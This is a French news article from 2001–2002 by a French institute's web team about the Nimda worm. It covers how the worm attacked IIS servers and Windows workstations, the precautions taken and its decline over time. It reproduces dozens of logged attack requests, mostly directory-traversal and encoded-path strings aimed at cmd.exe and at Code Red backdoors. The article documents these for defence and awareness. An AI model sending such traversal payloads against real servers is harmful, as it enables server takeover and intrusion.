Accueil Plan du site Technique | Liens | Actualités | Formation | Emploi | Forums | Base  
logo CERIG NOUVELLE cerig.efpg.inpg.fr 
Vous êtes ici : Accueil > Actualités > Nouvelle > Nimda, le ver dernier cri           Révision : 09 avril 2002

Nimda, le ver dernier cri

Nouvelle précédente Liste des nouvelles Nouvelle suivante

Le ver dénommé Nimda prend la succession de Code Red. Il possède plusieurs moyens d'action et de propagation, mais les webmestres ont appris à se défendre, et le réseau Internet n'a pas été submergé. Un point inquiétant cependant : Nimda s'attaque aussi aux stations de travail, par trois mécanismes distincts.
Dix semaines après son lancement, Nimda ne fait déjà plus parler de lui dans les media. Les diverses modifications qu'il a subies ne lui ont pas redonné de vigueur. Les webmestres ont appris à se défendre, et le nombre de nouveaux serveurs compromis est devenu faible.
Trois mois après son lancement, Nimda garde cependant une petite activité sur le web, parce qu'il reste une frange de webmestres qui n'ont pas pris leurs précautions. On rencontre également des variantes qui semblent avoir été "bricolées" par des amateurs à partir du modèle initial.

Par Jean-Claude Sohm
(26 septembre 2001)

Introduction

En savoir plus sur Nimda :

L'alerte relative au ver Code Red est à peine passée qu'un nouveau programme malfaisant fait son apparition le 18 septembre dernier. Cette fois, les hackers ont fait fort : le ver se répand dans le monde entier presque simultanément. Aux États-Unis, l'infection des serveurs web commence vers 13 heures UTC. Au CERIG, la première requête suspecte est enregistrée vers 13h30 UTC sur le serveur principal ; la machine contaminée attaquante se trouve chez un hébergeur italien. En l'espace de huit heures, notre serveur reçoit près de 600 requêtes pourries -- sans être contaminé, précisons-le tout de suite. Nos deux autres serveurs sont attaqués à la même heure, avec la même intensité, à l'aide des mêmes requêtes, et avec le même résultat négatif. A notre grande surprise, les serveurs compromis qui nous attaquent sont situés chez des hébergeurs prestigieux. On notera qu'au même moment les attaques de Code Red, qui sont devenues assez rares, cessent à peu près complètement.

Une semaine plus tard, un constat plutôt rassurant peut être dressé : le volume des attaques a nettement diminué -- d'un facteur voisin de dix sur notre serveur principal. Si des baisses de trafic ont été enregistrées ici et là sur le réseau Internet, ce dernier n'a pas été submergé. A quand le prochain round ?

Assez curieusement, les grands médias ne se sont guère fait l'écho de ce nouvel assaut subi par Internet. Sans doute étaient-ils surtout préoccupés par les événements tragiques du 11 septembre dernier aux États-Unis, et par l'explosion qui s'est produite à Toulouse en France. Les "terroristes d'Internet" ne causent pas de décès, du moins pour l'instant, Dieu merci ! Ils auraient cependant réussi à contaminer 100.000 serveurs dans le monde, dont 80 % situés aux États-Unis. Des chiffres plus élevés ont même été avancés (de l'ordre du million de sites), mais ils sont invérifiables. Il y a environ 28 millions de sites web dans le monde, dont 1/4 mis en ligne via IIS, et il parait peu vraisemblable que 15 % d'entre eux aient été compromis.
 

L'attaque des serveurs web

Les attaques de Nimda à l'encontre des serveurs web sont de trois types. D'abord, le ver essaye d'exploiter les "backdoors" créées par Code Red II, comme le montrent les requêtes ci-dessous :

/MSADC/root.exe
/c/winnt/system32/cmd.exe
/d/winnt/system32/cmd.exe

Notre serveur n'ayant pas été contaminé par Code Red, ces requêtes génèrent une réponse de code 404. Ensuite, le ver essaye de profiter du trou de sécurité existant dans le répertoire msadc, comme le faisait Code Red en son temps, mais avec un peu plus de subtilité :

/msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe

L'accès du répertoire msadc étant filtré sur IP, notre serveur génère une réponse de code 403. Enfin, le ver tente d'exploiter une autre faille de sécurité de IIS, en s'en prenant au répertoire _vti_bin :

/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

Inexplicablement, le ver tente la même manœuvre avec le répertoire _mem_bin, qui n'existe pas dans la racine des sites IIS :

/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe

Le but de toutes ces requêtes est d'accéder à l'exécutable cmd.exe, pour prendre le contrôle du serveur. Il apparaît clairement que Nimda est le digne fils de Code Red, et l'on peut même penser que les auteurs dérangés de ces deux vers malfaisants sont les mêmes.

Tout ceci n'est pas très inquiétant : les webmestres, qui ont appris à se défendre contre Code Red, ne considèrent pas Nimda comme beaucoup plus dangereux. La nouveauté de Nimda réside dans le fait que le ver s'attaque aussi aux stations de travail.
 

L'attaque des stations de travail

Nimda s'en prend aux stations de travail utilisant le système d'exploitation Windows, quelle qu'en soit la version. Cette attaque peut suivre trois chemins distincts :

    le ver peut contaminer une station de travail fonctionnant sous Windows en lui expédiant un courrier électronique possédant l'attachement "readme.exe". Cet exécutable propage le ver en profitant d'une faille de sécurité de Outlook Express, ou de l'inattention du récipiendaire ;
  le ver ayant infecté un serveur web rajoute aux pages web servies par ce dernier un petit programme en javascript qui lance le téléchargement du fichier "readme.eml" sur la machine cliente. Ce programme propage le ver parce que, sur les postes de travail, certains navigateurs l'exécutent automatiquement ;
  le ver se propage sur les réseaux locaux, de station de travail en station de travail, via les fichiers partagés en écriture.

Ni le CERIG, ni sa maison mère (l'École Française de Papeterie et des Industries Graphiques) n'ont pour l'instant subi de contamination de leurs postes de travail par Nimda. Des mesures de précaution ont cependant été prises :

    utilisation de la version 6 d'Internet Explorer, moins vulnérable que les versions précédentes -- ou utilisation de Netscape 6 ;
  inactivation de l'interpréteur Javascript des navigateurs ;
  utilisation du logiciel Eudora, moins vulnérable que Outlook Express, pour la réception du courrier électronique ;
  suppression des attachements intitulés "readme.exe".

Les effets du ver sur les stations de travail ne semblent pas être clairement connus, si ce n'est que les machines deviennent plus lentes, et les réseaux locaux plus encombrés. L'inactivation de l'interpréteur Javascript du navigateur empêche la consultation de certains sites web -- ceux qui utilisent Javascript pour la navigation, pour l'affichage des images, pour l'envoi des formulaires, etc. Certes, la majorité des sites web utilise Javascript, mais rares sont ceux pour la consultation desquels le bon fonctionnement des scripts est indispensable.
 

Diagnostic

Sur une station de travail, la présence de fichiers tels que :

    readme.exe
  readme.eml (en cas d'infection par consultation d'une page web issue d'un serveur compromis)
  admin.dll
  *.nws
  mmc.exe dans le répertoire C:\Windows
  load.exe dans le répertoire C:\Windows\System
  mep*.tmp ou mep*.tmp.exe

est révélatrice de la présence du ver Nimda. Le seul remède efficace consiste à sauvegarder les données, reformater le disque dur, et reconstruire la configuration. Consolez-vous : dotée d'une configuration toute neuve, votre machine fonctionnera beaucoup mieux...
 

Conclusion

Pas de panique, et surtout pas de "hype". Une semaine après son introduction, Nimda avait déjà bien perdu de sa virulence. Le graphique ci-contre représente le nombre de requêtes dues au ver, reçues par notre serveur principal, en fonction de la date, du 18 septembre au 2 octobre 2001.

On constate que la phase aigüe de l'infection n'a duré que deux jours. Les organismes qui, comme le Gartner Group, conseillent aux webmestres d'abandonner IIS séance tenante, ont perdu leur sang-froid et ne sont pas sérieux. Changer de système d'exploitation et de serveur web n'est pas une mince affaire ; mieux vaut surveiller ses fichiers log, remédier aux trous de sécurité dès qu'ils se révèlent, et charger les patchs émis par Microsoft. De plus, si aujourd'hui IIS est sur la sellette du point de vue de la sécurité, hier c'était le cas d'Apache, et demain ce sera le tour d'un autre logiciel. Les webmestres ne vont pas changer de soft comme de chemise !

Une autre alternative consiste à protéger son serveur web à l'aide d'un firewall. Il semble cependant que beaucoup de ces coupe-feux se soient révélés inefficaces vis à vis de Code Red, même si l'événement n'a pas été médiatisé. Il est vrai que configurer le coupe-feu qui protège un serveur web n'est pas chose facile (protéger un réseau d'entreprise est nettement plus aisé).

Il y aura toujours des imbéciles qui gaspillerons leur temps libre à concevoir des programmes malfaisants. Cette lutte durera aussi longtemps qu'Internet. La grande leçon de toute cette affaire est, qu'en matière de sécurité, il ne faut jamais baisser les bras. Une leçon que le CERIG n'est pas près d'oublier.
 

La suite...

Une version "améliorée" de Nimda aurait été lancée sur le net le premier novembre. Nous avons effectivement constaté une recrudescence de trafic dû au ver au début du mois, mais dans des proportions modestes (50 requêtes malveillantes par jour). De plus, nous n'avons pas constaté de changement dans le contenu des requêtes malveillantes. Au moment où nous écrivons ces lignes (16 novembre 2001), le phénomène parait très atténué.

Le 27 novembre 2001, par contre, nous constatons que le ver a réellement été modifié. Désormais, il s'attaque à de nouveaux répertoires, cgi-bin et iisadmpwd en particulier. Voici comment se présentent les requêtes correspondantes :

/iisadmpwd/../../../../../../winnt/system32/cmd.exe
/iisadmpwd/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/cgi-bin/../../../../../../winnt/system32/cmd.exe
/cgi-bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe

Notre serveur web reçoit actuellement une à quelques dizaines de requêtes Nimda par jour, en provenance de quelques machines compromises seulement. Le ver Nimda ne semble plus constituer une menace sérieuse, même s'il n'appartient pas encore complétement au passé.

Le 07 décembre 2001, nous constatons que le ver a de nouveau été modifié en ce qui concerne les points suivants :

    un nouveau répertoire d'IIS (/_vti_cnf/) est devenu cible à son tour ;
  des répertoires qui ne sont pas normalement présents dans la racine d'un site géré par IIS -- voire même pas présents du tout quel que soit le répertoire considéré -- sont également attaqués ;
  la formulation des requêtes est beaucoup plus variée ;
  le nombre de requêtes simultanément émises a beaucoup augmenté (d'une dizaine à deux centaines).

Voici par exemple les 29 formulations que l'on observe pour le répertoire /_vti_cnf/ :

/_vti_cnf/..%\..%\winnt/system32/cmd.exe
/_vti_cnf/..%2f..%2f..%2f..%2f..%2f..%2fwinnt/system32/cmd.exe
/_vti_cnf/..%2f..%2f..%2f..%2fwinnt/system32/cmd.exe
/_vti_cnf/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/_vti_cnf/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/_vti_cnf/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/_vti_cnf/..%5c..%5c..%5cwinnt/system32/cmd.exe
/_vti_cnf/..%5c..%5cwinnt/system32/cmd.exe
/_vti_cnf/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/_vti_cnf/..%5c../winnt/system32/cmd.exe
/_vti_cnf/..%5c..\winnt/system32/cmd.exe
/_vti_cnf/../../../../../../winnt/system32/cmd.exe
/_vti_cnf/../../../../winnt/system32/cmd.exe
/_vti_cnf/../../winnt/system32/cmd.exe
/_vti_cnf/..\../..\../..\../winnt/system32/cmd.exe
/_vti_cnf/..\../winnt/system32/cmd.exe
/_vti_cnf/..\..\..\..\winnt/system32/cmd.exe
/_vti_cnf/..\/winnt/system32/cmd.exe
/_vti_cnf/..Á../..Á../..Á../winnt/system32/cmd.exe
/_vti_cnf/..Á../winnt/system32/cmd.exe
/_vti_cnf/..Á..Á..Á..Áwinnt/system32/cmd.exe
/_vti_cnf/..ð€€¯../..ð€€¯../..ð€€¯../winnt/system32/cmd.exe
/_vti_cnf/..ð€€¯../winnt/system32/cmd.exe
/_vti_cnf/..o../..o../..o../winnt/system32/cmd.exe
/_vti_cnf/..o../winnt/system32/cmd.exe
/_vti_cnf/..ø€€€¯../..ø€€€¯../..ø€€€¯../winnt/system32/cmd.exe
/_vti_cnf/..ø€€€¯../winnt/system32/cmd.exe
/_vti_cnf/..ü€€€€¯../..ü€€€€¯../..ü€€€€¯../winnt/system32/cmd.exe
/_vti_cnf/..ü€€€€¯../winnt/system32/cmd.exe

Le 28 décembre 2001, nous observons les requêtes qui figurent dans le tableau ci-dessous. Il semble que des amateurs se soient emparés du code de Nimda (on le trouve facilement sur le web), et aient rajouté des instructions de leur cru.

/_vti_bin/..S5c..S5c..S5c..S5c..S5c../winnt/system32/cmd.exe
/msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/samples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe
/Rpc/..S5c..S5c..S5cwinnt/system32/cmd.exe
/Rpc/..S5c..S5c..S5cwinnt/system32/cmd.exe
/Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe
/PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe
/PBServer/..S5c..S5c..S5cwinnt/system32/cmd.exe
/PBServer/..S5c..S5c..S5cwinnt/system32/cmd.exe
/PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/_vti_bin/..S5c..S5c..S5c..S5c..S5c../winnt/system32/cmd.exe
/_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe
/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/MSADC/..S5c..S5c..S5c..S5cwinnt/system32/cmd.exe
/MSADC/..S5c..S5c..S5c..S5cwinnt/system32/cmd.exe
/msadc/..S5c../..S5c../..S5c../winnt/system32/cmd.exe
/msadc/..S5c../..S5c../..S5c../winnt/system32/cmd.exe
/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/cgi-bin/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/msadc/..%u005c..%u005cwinnt/system32/cmd.exe
/msadc/../../../../../../winnt/system32/cmd.exe
/iisadmpwd/../../../../../../winnt/system32/cmd.exe
/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/_vti_bin/.%2e/.%2e/.%2e/.%2e/winnt/system32/cmd.exe
/adsamples/../../../../../../winnt/system32/cmd.exe
/_vti_bin/../../../../../../winnt/system32/cmd.exe
/_vti_cnf/../../../../../../winnt/system32/cmd.exe
/iisadmpwd/..%u005c..%u005cwinnt/system32/cmd.exe
/winnt/system32/cmd.exe
/iisadmpwd/../../cmd.exe
/iisadmpwd/../../../../../../winnt/system32/cmd.exe
/samples/../../../../../../winnt/system32/cmd.exe
/cgi-bin/../../../../../../winnt/system32/cmd.exe
/à\€\¯../winnt/system32/cmd.exe\
/scripts..\../winnt/system32/cmd.exe
/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/_vti_bin/..%u005c..%u005cwinnt/system32/cmd.exe
/iisadmpwd/..%2f..%2f..%2f..%2f..%2f..%2fwinnt/system32/cmd.exe
/winnt/system32/cmd.exe
/msadc/.%2e/.%2e/.%2e/.%2e/winnt/system32/cmd.exe
/winnt/system32/cmd.exe
/_vti_bin/../../../../../../winnt/system32/cmd.exe
/..%5c..%5cwinnt/system32/cmd.exe
/winnt/system32/cmd.exe
/d/winnt/system32/cmd.exe
/c/winnt/system32/cmd.exe
/msadc/root.exe
/adsamples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/_vti_cnf/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/../../winnt/system32/cmd.exe

La petite activité résiduelle de Nimda montre que certains webmestres n'ont toujours pas pris la précaution de charger le patch qui mettrait leur serveur à l'abri de Nimda.

Début avril 2002, les requêtes de type Nimda sont devenues rares (moins d'une par jour pour notre serveur web), et il en est de même pour toutes les requêtes malveillantes. Pour fabriquer un "bon" virus, il faut du temps... comme pour créer un bon programme. Les hackers seraient-ils à court d'idées, ou s'agit-il du calme qui précède la tempête ? Nous finirons bien par le savoir !

 
 
Nouvelle précédente Liste des nouvelles Nouvelle suivante
  Accueil | Technique | Liens | Actualités | Formation | Emploi | Forums | Base 
 
Copyright © CERIG/EFPG 1996-2002